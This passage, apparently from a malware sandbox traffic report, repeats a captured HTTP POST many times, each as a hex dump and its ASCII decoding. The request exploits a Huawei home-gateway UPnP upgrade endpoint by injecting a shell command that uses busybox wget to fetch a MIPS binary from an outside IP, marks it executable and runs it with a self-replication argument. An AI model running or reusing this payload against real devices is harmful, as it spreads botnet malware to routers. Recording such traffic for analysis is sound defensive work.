52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 